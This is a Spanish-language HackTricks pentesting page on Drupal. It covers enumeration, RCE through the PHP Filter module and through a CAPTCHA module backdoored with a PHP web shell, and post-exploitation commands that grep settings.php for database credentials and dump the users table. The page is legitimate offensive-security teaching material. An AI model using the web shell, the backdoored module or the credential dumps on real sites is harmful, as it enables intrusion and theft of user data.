8.7 KiB
Drupal
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.
Descubrimiento
- Verifica meta
curl https://www.drupal.org/ | grep 'content="Drupal'
- Node: Drupal indexa su contenido usando nodos. Un nodo puede contener cualquier cosa como una entrada de blog, encuesta, artículo, etc. Las URI de las páginas suelen tener la forma
/node/<nodeid>
.
curl drupal-site.com/node/1
Enumeración
Drupal soporta tres tipos de usuarios por defecto:
Administrator
: Este usuario tiene control completo sobre el sitio web de Drupal.Authenticated User
: Estos usuarios pueden iniciar sesión en el sitio web y realizar operaciones como añadir y editar artículos basados en sus permisos.Anonymous
: Todos los visitantes del sitio web son designados como anónimos. Por defecto, a estos usuarios solo se les permite leer publicaciones.
Versión
- Verificar
/CHANGELOG.txt
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
{% hint style="info" %}
Las instalaciones más recientes de Drupal por defecto bloquean el acceso a los archivos CHANGELOG.txt
y README.txt
.
{% endhint %}
Enumeración de nombres de usuario
Registro
En /user/register solo intenta crear un nombre de usuario y si el nombre ya está tomado se notificará:
Solicitar nueva contraseña
Si solicitas una nueva contraseña para un nombre de usuario existente:
Si solicitas una nueva contraseña para un nombre de usuario inexistente:
Obtener número de usuarios
Accediendo a /user/<number> puedes ver el número de usuarios existentes, en este caso es 2 ya que /users/3 devuelve un error de no encontrado:
Páginas ocultas
Fuzz /node/$
donde $
es un número (de 1 a 500 por ejemplo).
Podrías encontrar páginas ocultas (test, dev) que no están referenciadas por los motores de búsqueda.
Información de módulos instalados
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
Automático
droopescan scan drupal -u http://drupal-site.local
RCE
Con el Módulo PHP Filter
{% hint style="warning" %}
En versiones anteriores de Drupal (antes de la versión 8), era posible iniciar sesión como administrador y habilitar el módulo PHP filter
, que "Permite que se evalúen fragmentos/códigos PHP incrustados."
{% endhint %}
Necesitas que el plugin php esté instalado (compruébalo accediendo a /modules/php y si devuelve un 403 entonces, existe, si no se encuentra, entonces el plugin php no está instalado)
Ve a Modules -> (Marca) PHP Filter -> Guardar configuración
Luego haz clic en Añadir contenido -> Selecciona Página básica o Artículo -> Escribe shellcode php en el cuerpo -> Selecciona Código PHP en Formato de texto -> Selecciona Vista previa
Finalmente, solo accede al nodo recién creado:
curl http://drupal-site.local/node/3
Instalar el Módulo PHP Filter
A partir de la versión 8 en adelante, el módulo PHP Filter no está instalado por defecto. Para aprovechar esta funcionalidad, tendríamos que instalar el módulo nosotros mismos.
- Descarga la versión más reciente del módulo desde el sitio web de Drupal.
- wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- Una vez descargado, ve a
Administración
>Informes
>Actualizaciones disponibles
. - Haz clic en
Examinar
,
selecciona el archivo desde el directorio donde lo descargamos y luego haz clic enInstalar
. - Una vez instalado el módulo, podemos hacer clic en
Contenido
y crear una nueva página básica, de manera similar a como lo hicimos en el ejemplo de Drupal 7. De nuevo, asegúrate de seleccionarCódigo PHP
del desplegableFormato de texto
.
Módulo con puerta trasera
Se puede crear un módulo con puerta trasera añadiendo un shell a un módulo existente. Los módulos se pueden encontrar en el sitio web drupal.org. Escojamos un módulo como CAPTCHA. Desplázate hacia abajo y copia el enlace para el archivo tar.gz archivo.
- Descarga el archivo y extrae su contenido.
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
- Crea una PHP web shell con el contenido:
<?php
system($_GET["cmd"]);
?>
- A continuación, necesitamos crear un archivo
.htaccess
para darnos acceso a la carpeta. Esto es necesario ya que Drupal niega el acceso directo a la carpeta/modules
.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
- La configuración anterior aplicará reglas para la carpeta / cuando solicitemos un archivo en /modules. Copia ambos archivos a la carpeta captcha y crea un archivo.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
- Suponiendo que tenemos acceso administrativo al sitio web, haz clic en
Manage
y luego enExtend
en la barra lateral. A continuación, haz clic en el botón+ Install new module
y seremos llevados a la página de instalación, comohttp://drupal-site.local/admin/modules/install
Navega hasta el archivo comprimido del Captcha con puerta trasera y haz clic enInstall
. - Una vez que la instalación tenga éxito, navega a
/modules/captcha/shell.php
para ejecutar comandos.
Post Explotación
Leer settings.php
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
Volcar usuarios de la DB
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
Referencias
Aprende a hackear AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.